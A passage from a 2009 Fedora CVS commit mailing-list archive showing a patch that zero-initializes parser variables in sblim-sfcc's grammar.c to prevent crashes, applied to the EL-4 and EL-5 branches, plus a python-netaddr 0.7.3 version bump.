 	if(ct == XTOK_LOCALINSTANCEPATH) {
 		localNameSpacePath(parm, (parseUnion*)&stateUnion->xtokLocalInstancePath.path);
@@ -958,7 +958,7 @@
 
 static void nameSpacePath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokNameSpacePath, parm);
 	if(ct == XTOK_NAMESPACEPATH) {
 		host(parm, (parseUnion*)&stateUnion->xtokNameSpacePath.host);
@@ -977,7 +977,7 @@
 
 static void host(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokHost, parm);
 	if(ct == XTOK_HOST) {
 		ct = localLex((parseUnion*)&stateUnion->xtokHost, parm);
@@ -994,7 +994,7 @@
 
 static void localNameSpacePath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokLocalNameSpacePath, parm);
 	if(ct == XTOK_LOCALNAMESPACEPATH) {
 		ct = localLex(&lvalp, parm);
@@ -1031,7 +1031,7 @@
 
 static void nameSpace(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokNameSpace, parm);
 	if(ct == XTOK_NAMESPACE) {
 		ct = localLex((parseUnion*)&stateUnion->xtokNameSpace, parm);
@@ -1048,7 +1048,7 @@
 
 static void valueNamedInstance(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokNamedInstance, parm);
 	if(ct == XTOK_VALUENAMEDINSTANCE) {
 		instanceName(parm, (parseUnion*)&stateUnion->xtokNamedInstance.path);
@@ -1067,7 +1067,7 @@
 
 static void instance(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokInstance, parm);
 	if(ct == XTOK_INSTANCE) {
 		ct = localLex(&lvalp, parm);
@@ -1108,7 +1108,7 @@
 
 static void genProperty(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokProperty, parm);
 	if(ct == XTOK_PROPERTY) {
 		dontLex = 1;
@@ -1132,7 +1132,7 @@
 
 static void qualifier(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokQualifier, parm);
 	if(ct == XTOK_QUALIFIER) {
 		ct = localLex(&lvalp, parm);
@@ -1159,7 +1159,7 @@
 
 static void qualifierData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokQualifierData, parm);
 	if(ct == XTOK_VALUE) {
 		dontLex = 1;
@@ -1178,7 +1178,7 @@
 
 static void property(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokPropertyData, parm);
 	if(ct == XTOK_PROPERTY) {
 		ct = localLex(&lvalp, parm);
@@ -1214,7 +1214,7 @@
 
 static void propertyArray(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokPropertyData, parm);
 	if(ct == XTOK_PROPERTYARRAY) {
 		ct = localLex(&lvalp, parm);
@@ -1250,7 +1250,7 @@
 
 static void propertyReference(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokPropertyData, parm);
 	if(ct == XTOK_PROPERTYREFERENCE) {
 		ct = localLex(&lvalp, parm);
@@ -1286,7 +1286,7 @@
 
 static void instanceName(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokInstanceName, parm);
 	if(ct == XTOK_INSTANCENAME) {
 		ct = localLex(&lvalp, parm);
@@ -1315,7 +1315,7 @@
 
 static void keyBinding(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokKeyBinding, parm);
 	if(ct == XTOK_KEYBINDING) {
 		keyBindingContent(parm, (parseUnion*)&stateUnion->xtokKeyBinding.val);
@@ -1334,7 +1334,7 @@
 
 static void keyBindingContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokKeyBindingContent, parm);
 	if(ct == XTOK_KEYVALUE) {
 		dontLex = 1;
@@ -1353,7 +1353,7 @@
 
 static void keyValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokKeyValue, parm);
 	if(ct == XTOK_KEYVALUE) {
 		ct = localLex((parseUnion*)&stateUnion->xtokKeyValue, parm);
@@ -1370,7 +1370,7 @@
 
 static void value(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValue, parm);
 	if(ct == XTOK_VALUE) {
 		valueData(parm, (parseUnion*)&stateUnion->xtokValue.data);
@@ -1389,7 +1389,7 @@
 
 static void valueData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValueData, parm);
 	if(ct == ZTOK_VALUE) {
 		stateUnion->xtokValueData.type=typeValue_charP;
@@ -1413,7 +1413,7 @@
 
 static void valueArray(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValueArray, parm);
 	if(ct == XTOK_VALUEARRAY) {
 		ct = localLex(&lvalp, parm);
@@ -1446,7 +1446,7 @@
 
 static void valueRefArray(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValueRefArray, parm);
 	if(ct == XTOK_VALUEREFARRAY) {
 		ct = localLex(&lvalp, parm);
@@ -1479,7 +1479,7 @@
 
 static void valueReference(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValueReference, parm);
 	if(ct == XTOK_VALUEREFERENCE) {
 		valueReferenceData(parm, (parseUnion*)&stateUnion->xtokValueReference.data);
@@ -1498,7 +1498,7 @@
 
 static void valueReferenceData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValueReferenceData, parm);
 	if(ct == XTOK_INSTANCEPATH) {
 		dontLex = 1;


Index: sblim-sfcc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sblim-sfcc/EL-4/sblim-sfcc.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sblim-sfcc.spec	24 Oct 2008 10:23:22 -0000	1.1
+++ sblim-sfcc.spec	2 Oct 2009 13:45:09 -0000	1.2
@@ -10,11 +10,12 @@ BuildRoot: %(mktemp -ud %{_tmppath}/%{na
 Summary: Small Footprint CIM Client Library
 Name: sblim-sfcc
 Version: 2.1.0
-Release: 0%{?dist}
+Release: 1%{?dist}
 Group: Applications/System
 License: EPL
 URL: http://www.sblim.org
 Source0: ftp://dl.sourceforge.net/pub/s/sb/sblim/%{name}-%{version}.tar.bz2
+Patch0: sblim-sfcc-2.1.0-initialization.patch
 BuildRequires: curl-devel
 
 %Description
@@ -32,6 +33,7 @@ Small Footprint CIM Client Library Heade
 %prep
 
 %setup -q
+%patch0 -p1
 
 %build
 chmod a-x backend/cimxml/*.[ch]
@@ -67,7 +69,8 @@ rm -rf %{buildroot}
 %{_docdir}/*
 
 %changelog
-
+* Fri Oct  2 2009  Praveen K Paladugu <praveen_paladugu at dell.com> - 2.1.0-1
+- Added a patch to prevent crash because of uninitialized structrues.
 * Tue Aug 19 2008  <srinivas_ramanatha at dell.com> - 2.1.0-0%{?dist}
 -Modified the spec file to adhere to fedora packaging guidelines.
 



From jeckersb at fedoraproject.org  Fri Oct  2 13:45:42 2009
From: jeckersb at fedoraproject.org (John Eckersberg)
Date: Fri,  2 Oct 2009 13:45:42 +0000 (UTC)
Subject: rpms/python-netaddr/F-12 python-netaddr.spec, 1.17, 1.18 sources,
	1.12, 1.13
Message-ID: <20091002134542.1E95111C00C1@cvs1.fedora.phx.redhat.com>

Author: jeckersb

Update of /cvs/pkgs/rpms/python-netaddr/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8278

Modified Files:
	python-netaddr.spec sources 
Log Message:
New upstream release 0.7.3


Index: python-netaddr.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-netaddr/F-12/python-netaddr.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- python-netaddr.spec	21 Aug 2009 14:46:18 -0000	1.17
+++ python-netaddr.spec	2 Oct 2009 13:45:41 -0000	1.18
@@ -3,7 +3,7 @@
 #====================================================================#
 
 Name:           python-netaddr
-Version:        0.7.2
+Version:        0.7.3
 Release:        1%{?dist}
 Summary:        Pythonic manipulation of IPv4, IPv6, CIDR, EUI and MAC network addresses
 
@@ -87,6 +87,9 @@ rm -rf %{buildroot}
 %{_bindir}/netaddr
 
 %changelog
+* Wed Sep 30 2009 John Eckersberg <jeckersb at redhat.com> - 0.7.3-1
+- New upstream release 0.7.3
+
 * Fri Aug 21 2009 John Eckersberg <jeckersb at redhat.com> - 0.7.2-1
 - New upstream release 0.7.2
 - Updated Summary and Description with new values provided by upstream


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-netaddr/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	21 Aug 2009 14:46:18 -0000	1.12
+++ sources	2 Oct 2009 13:45:41 -0000	1.13
@@ -1 +1 @@
-061324a678980a03efc0b0b9f3659436  netaddr-0.7.2.tar.gz
+8b7b574bca2f60722ccd90c71334ee32  netaddr-0.7.3.tar.gz



From praveenp at fedoraproject.org  Fri Oct  2 13:46:17 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Fri,  2 Oct 2009 13:46:17 +0000 (UTC)
Subject: rpms/sblim-sfcc/EL-5 sblim-sfcc-2.1.0-initialization.patch, NONE,
	1.1 sblim-sfcc.spec, 1.1, 1.2
Message-ID: <20091002134617.23EE211C00C1@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/sblim-sfcc/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8393

Modified Files:
	sblim-sfcc.spec 
Added Files:
	sblim-sfcc-2.1.0-initialization.patch 
Log Message:
Added patch to prevent crash because of uninitialized structures


sblim-sfcc-2.1.0-initialization.patch:
 grammar.c |  110 +++++++++++++++++++++++++++++++-------------------------------
 1 file changed, 55 insertions(+), 55 deletions(-)

--- NEW FILE sblim-sfcc-2.1.0-initialization.patch ---
diff -Naur sblim-sfcc-2.1.0/backend/cimxml/grammar.c sblim-sfcc-2.1.0_fix/backend/cimxml/grammar.c
--- sblim-sfcc-2.1.0/backend/cimxml/grammar.c	2008-01-21 15:45:41.000000000 +0530
+++ sblim-sfcc-2.1.0_fix/backend/cimxml/grammar.c	2009-03-09 17:15:31.000000000 +0530
@@ -56,7 +56,7 @@
 
 static void start(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_XML) {
 		ct = localLex(stateUnion, parm);
@@ -74,7 +74,7 @@
 
 static void cim(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_CIM) {
 		message(parm, (parseUnion*)&stateUnion->xtokMessage);
@@ -92,7 +92,7 @@
 
 static void message(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	ct = localLex((parseUnion*)&stateUnion->xtokMessage, parm);
 	if(ct == XTOK_MESSAGE) {
 		messageContent(parm, stateUnion);
@@ -110,7 +110,7 @@
 
 static void messageContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_SIMPLERSP) {
 		simpleRspContent(parm, (parseUnion*)&stateUnion->xtokSimpleRespContent);
@@ -137,7 +137,7 @@
 
 static void simpleRspContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp ={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokSimpleRespContent, parm);
 	if(ct == XTOK_METHODRESP) {
 		methodRespContent(parm, (parseUnion*)&stateUnion->xtokSimpleRespContent.resp);
@@ -165,7 +165,7 @@
 
 static void exportIndication(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_EXPORTINDICATION) {
 		exParamValue(parm, stateUnion);
@@ -183,7 +183,7 @@
 
 static void exParamValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	CMPIInstance *inst;
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_EP_INSTANCE) {
@@ -211,7 +211,7 @@
 
 static void methodRespContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex(&lvalp, parm);
 	if(ct == XTOK_ERROR) {
 		dontLex = 1;
@@ -246,7 +246,7 @@
 
 static void iMethodRespContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex(&lvalp, parm);
 	if(ct == XTOK_ERROR) {
 		dontLex = 1;
@@ -263,7 +263,7 @@
 
 static void error(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp ={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokErrorResp, parm);
 	if(ct == XTOK_ERROR) {
 		setError(parm, &stateUnion->xtokErrorResp);
@@ -281,7 +281,7 @@
 
 static void returnValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp ={0};
 	CMPIType  t;
 	CMPIValue val;
 	CMPIInstance *inst;
@@ -321,7 +321,7 @@
 
 static void returnValueData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp ={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokReturnValueData, parm);
 	if(ct == XTOK_VALUE) {
 		dontLex = 1;
@@ -339,7 +339,7 @@
 
 static void paramValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParamValue, parm);
 	if(ct == XTOK_PARAMVALUE) {
 		ct = localLex(&lvalp, parm);
@@ -369,7 +369,7 @@
 
 static void paramValueData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParamValueData, parm);
 	if(ct == XTOK_VALUE) {
 		dontLex = 1;
@@ -400,7 +400,7 @@
 
 static void iReturnValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_IRETVALUE) {
 		iReturnValueContent(parm, stateUnion);
@@ -418,7 +418,7 @@
 
 static void iReturnValueContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp ={0};
 	CMPIObjectPath *op;
 	CMPIInstance *inst;
 	CMPIConstClass *cls;
@@ -524,7 +524,7 @@
 
 static void getPropertyRetValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	CMPIType  t;
 	CMPIValue val;
 	ct = localLex((parseUnion*)&stateUnion->xtokGetPropRetContent, parm);
@@ -550,7 +550,7 @@
 
 static void valueObjectWithPath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokObjectWithPath, parm);
 	if(ct == XTOK_VALUEOBJECTWITHPATH) {
 		valueObjectWithPathData(parm, (parseUnion*)&stateUnion->xtokObjectWithPath.object);
@@ -569,7 +569,7 @@
 
 static void valueObjectWithPathData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	CMPIObjectPath *op;
 	CMPIInstance *inst;
 	ct = localLex((parseUnion*)&stateUnion->xtokObjectWithPathData, parm);
@@ -597,7 +597,7 @@
 
 static void classWithPath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokClassWithPath, parm);
 	if(ct == XTOK_CLASSPATH) {
 		dontLex = 1;
@@ -611,7 +611,7 @@
 
 static void instanceWithPath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokInstanceWithPath, parm);
 	if(ct == XTOK_INSTANCEPATH) {
 		dontLex = 1;
@@ -625,7 +625,7 @@
 
 static void class(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokClass, parm);
 	if(ct == XTOK_CLASS) {
 		ct = localLex(&lvalp, parm);
@@ -678,7 +678,7 @@
 
 static void method(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokMethod, parm);
 	if(ct == XTOK_METHOD) {
 		ct = localLex(&lvalp, parm);
@@ -718,7 +718,7 @@
 
 static void methodData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	if(ct == XTOK_PARAM) {
 		dontLex = 1;
 		if(ct == XTOK_PARAM) {
@@ -754,7 +754,7 @@
 
 static void parameter(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParam, parm);
 	if(ct == XTOK_PARAM) {
 		ct = localLex(&lvalp, parm);
@@ -782,7 +782,7 @@
 
 static void parameterReference(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParam, parm);
 	if(ct == XTOK_PARAMREF) {
 		ct = localLex(&lvalp, parm);
@@ -810,7 +810,7 @@
 
 static void parameterRefArray(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParam, parm);
 	if(ct == XTOK_PARAMREFARRAY) {
 		ct = localLex(&lvalp, parm);
@@ -838,7 +838,7 @@
 
 static void parameterArray(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParam, parm);
 	if(ct == XTOK_PARAMARRAY) {
 		ct = localLex(&lvalp, parm);
@@ -866,7 +866,7 @@
 
 static void objectPath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokObjectPath, parm);
 	if(ct == XTOK_OBJECTPATH) {
 		instancePath(parm, (parseUnion*)&stateUnion->xtokObjectPath.path);
@@ -884,7 +884,7 @@
 
 static void classPath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokClassPath, parm);
 	if(ct == XTOK_CLASSPATH) {
 		nameSpacePath(parm, (parseUnion*)&stateUnion->xtokClassPath.name);
@@ -903,7 +903,7 @@
 
 static void className(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokClassName, parm);
 	if(ct == XTOK_CLASSNAME) {
 		ct = localLex((parseUnion*)&stateUnion->xtokClassName, parm);
@@ -920,7 +920,7 @@
 
 static void instancePath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokInstancePath, parm);
 	if(ct == XTOK_INSTANCEPATH) {
 		nameSpacePath(parm, (parseUnion*)&stateUnion->xtokInstancePath.path);
@@ -939,7 +939,7 @@
 
 static void localInstancePath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokLocalInstancePath, parm);
 	if(ct == XTOK_LOCALINSTANCEPATH) {
 		localNameSpacePath(parm, (parseUnion*)&stateUnion->xtokLocalInstancePath.path);
@@ -958,7 +958,7 @@
 
 static void nameSpacePath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokNameSpacePath, parm);
 	if(ct == XTOK_NAMESPACEPATH) {
 		host(parm, (parseUnion*)&stateUnion->xtokNameSpacePath.host);
@@ -977,7 +977,7 @@
 
 static void host(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokHost, parm);
 	if(ct == XTOK_HOST) {
 		ct = localLex((parseUnion*)&stateUnion->xtokHost, parm);
@@ -994,7 +994,7 @@
 
 static void localNameSpacePath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokLocalNameSpacePath, parm);
 	if(ct == XTOK_LOCALNAMESPACEPATH) {
 		ct = localLex(&lvalp, parm);
@@ -1031,7 +1031,7 @@
 
 static void nameSpace(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokNameSpace, parm);
 	if(ct == XTOK_NAMESPACE) {
 		ct = localLex((parseUnion*)&stateUnion->xtokNameSpace, parm);
@@ -1048,7 +1048,7 @@
 
 static void valueNamedInstance(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokNamedInstance, parm);
 	if(ct == XTOK_VALUENAMEDINSTANCE) {
 		instanceName(parm, (parseUnion*)&stateUnion->xtokNamedInstance.path);
@@ -1067,7 +1067,7 @@
 
 static void instance(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokInstance, parm);
 	if(ct == XTOK_INSTANCE) {
 		ct = localLex(&lvalp, parm);
@@ -1108,7 +1108,7 @@
 
 static void genProperty(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokProperty, parm);
 	if(ct == XTOK_PROPERTY) {
 		dontLex = 1;
@@ -1132,7 +1132,7 @@
 
 static void qualifier(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokQualifier, parm);
 	if(ct == XTOK_QUALIFIER) {
 		ct = localLex(&lvalp, parm);
@@ -1159,7 +1159,7 @@
 
 static void qualifierData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokQualifierData, parm);
 	if(ct == XTOK_VALUE) {
 		dontLex = 1;
@@ -1178,7 +1178,7 @@
 
 static void property(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokPropertyData, parm);
 	if(ct == XTOK_PROPERTY) {
 		ct = localLex(&lvalp, parm);
@@ -1214,7 +1214,7 @@
 
 static void propertyArray(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokPropertyData, parm);
 	if(ct == XTOK_PROPERTYARRAY) {
 		ct = localLex(&lvalp, parm);
@@ -1250,7 +1250,7 @@
 
 static void propertyReference(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokPropertyData, parm);
 	if(ct == XTOK_PROPERTYREFERENCE) {
 		ct = localLex(&lvalp, parm);
@@ -1286,7 +1286,7 @@
 
 static void instanceName(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokInstanceName, parm);
 	if(ct == XTOK_INSTANCENAME) {
 		ct = localLex(&lvalp, parm);
@@ -1315,7 +1315,7 @@
 
 static void keyBinding(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokKeyBinding, parm);
 	if(ct == XTOK_KEYBINDING) {
 		keyBindingContent(parm, (parseUnion*)&stateUnion->xtokKeyBinding.val);
@@ -1334,7 +1334,7 @@
 
 static void keyBindingContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokKeyBindingContent, parm);
 	if(ct == XTOK_KEYVALUE) {
 		dontLex = 1;
@@ -1353,7 +1353,7 @@
 
 static void keyValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokKeyValue, parm);
 	if(ct == XTOK_KEYVALUE) {
 		ct = localLex((parseUnion*)&stateUnion->xtokKeyValue, parm);
@@ -1370,7 +1370,7 @@
 
 static void value(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValue, parm);
 	if(ct == XTOK_VALUE) {
 		valueData(parm, (parseUnion*)&stateUnion->xtokValue.data);
@@ -1389,7 +1389,7 @@
 
 static void valueData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValueData, parm);
 	if(ct == ZTOK_VALUE) {
 		stateUnion->xtokValueData.type=typeValue_charP;
@@ -1413,7 +1413,7 @@
 
 static void valueArray(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValueArray, parm);
 	if(ct == XTOK_VALUEARRAY) {
 		ct = localLex(&lvalp, parm);
@@ -1446,7 +1446,7 @@
 
 static void valueRefArray(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValueRefArray, parm);
 	if(ct == XTOK_VALUEREFARRAY) {
 		ct = localLex(&lvalp, parm);
@@ -1479,7 +1479,7 @@
 
 static void valueReference(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValueReference, parm);
 	if(ct == XTOK_VALUEREFERENCE) {
 		valueReferenceData(parm, (parseUnion*)&stateUnion->xtokValueReference.data);
@@ -1498,7 +1498,7 @@
 
 static void valueReferenceData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValueReferenceData, parm);
 	if(ct == XTOK_INSTANCEPATH) {
 		dontLex = 1;


Index: sblim-sfcc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sblim-sfcc/EL-5/sblim-sfcc.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sblim-sfcc.spec	30 Oct 2008 09:02:58 -0000	1.1
+++ sblim-sfcc.spec	2 Oct 2009 13:46:17 -0000	1.2
@@ -10,11 +10,12 @@ BuildRoot: %(mktemp -ud %{_tmppath}/%{na
 Summary: Small Footprint CIM Client Library
 Name: sblim-sfcc
 Version: 2.1.0
-Release: 0%{?dist}
